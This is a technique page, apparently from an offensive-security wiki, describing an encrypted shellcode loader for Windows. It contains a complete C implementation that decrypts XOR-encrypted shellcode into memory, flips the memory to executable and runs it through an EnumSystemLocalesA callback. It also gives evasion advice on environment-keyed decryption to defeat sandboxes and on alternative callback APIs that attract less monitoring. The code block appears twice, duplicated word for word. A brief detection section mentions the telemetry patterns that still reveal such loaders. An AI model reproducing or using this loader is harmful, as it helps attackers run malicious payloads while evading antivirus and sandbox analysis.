Encrypted Shellcode Loader

Overview

A shellcode loader’s job is simple: get encrypted bytes from somewhere safe, decrypt them, make them executable, and transfer control. The encryption step means nothing recognisable sits in the binary’s sections — no PE headers, no common shellcode preambles, nothing a static scanner can fingerprint.

The two variables that define a loader’s detection surface are where it gets the key (baked in, derived, fetched over the network) and how it calls into the payload (direct function pointer, CreateThread, an indirect callback). Neither dimension is a magic bypass; every path eventually produces executable private memory, and that is what modern sensors watch.

The call chain

1. 1
   embed ciphertext blob

   Shellcode is XOR- or AES-encrypted at build time and baked into the loader's .data or .rdata section.
   —
2. 2
   VirtualAlloc(MEM_COMMIT, PAGE_READWRITE)

   Allocate a RW region — never RWX at this point.
   kernel32
3. 3
   decrypt in place

   XOR key or AES key+IV is derived at runtime (CPUID, env hash, etc.) to resist static extraction.
   —
4. 4
   VirtualProtect(PAGE_EXECUTE_READ)

   Flip the allocation to RX. W^X discipline removes the loudest static indicator.
   kernel32
5. 5
   CreateThread / callback trampoline

   Execute via CreateThread, EnumSystemLocalesA, or another API that accepts a function pointer.
   kernel32

Reference implementation

The XOR variant is the simplest and the easiest to reason about.

// shellcode baked in as ciphertext at build time
extern const unsigned char sc_enc[];
extern const size_t        sc_enc_len;
static const unsigned char KEY[] = { 0xDE, 0xAD, 0xBE, 0xEF };

void run(void) {
  // 1. allocate RW — no execute flag yet
  unsigned char *buf = VirtualAlloc(NULL, sc_enc_len,
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_READWRITE);

  // 2. decrypt in place
  for (size_t i = 0; i < sc_enc_len; i++)
      buf[i] = sc_enc[i] ^ KEY[i % sizeof KEY];

  // 3. flip to RX — W gone before X arrives
  DWORD old;
  VirtualProtect(buf, sc_enc_len, PAGE_EXECUTE_READ, &old);

  // 4. execute via indirect callback (less conspicuous than CreateThread)
  EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);
}

// shellcode baked in as ciphertext at build time
extern const unsigned char sc_enc[];
extern const size_t        sc_enc_len;
static const unsigned char KEY[] = { 0xDE, 0xAD, 0xBE, 0xEF };

void run(void) {
  // 1. allocate RW — no execute flag yet
  unsigned char *buf = VirtualAlloc(NULL, sc_enc_len,
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_READWRITE);

  // 2. decrypt in place
  for (size_t i = 0; i < sc_enc_len; i++)
      buf[i] = sc_enc[i] ^ KEY[i % sizeof KEY];

  // 3. flip to RX — W gone before X arrives
  DWORD old;
  VirtualProtect(buf, sc_enc_len, PAGE_EXECUTE_READ, &old);

  // 4. execute via indirect callback (less conspicuous than CreateThread)
  EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);
}

Key derivation patterns

Sandboxes typically run without a domain or specific environment variables. A loader that refuses to proceed unless it sees the right hostname or registry value is broken for the sandbox but functional in the target environment.

Execution primitives

Passing the buffer to CreateThread is the obvious path and the most monitored. Alternative APIs that accept a function pointer:

• EnumSystemLocalesA / EnumSystemLanguageGroupsA — legitimate Windows enumeration callbacks
• EnumChildWindows — takes an LPARAM you can put anything in
• QueueUserAPC — queues to any alertable thread; see APC Injection
• RtlCreateUserThread — avoids the kernel32 import but is equally visible at the kernel layer

None of these avoid ETW-TI. The kernel records every thread start regardless of which API created the thread.

Detection

The VirtualAlloc → VirtualProtect sequence on the same private region is the most reliable pattern. Production loaders that split the allocate-decrypt-protect steps across multiple frames or use indirect calls do not defeat this; they just add noise between the same two events.

Variants & related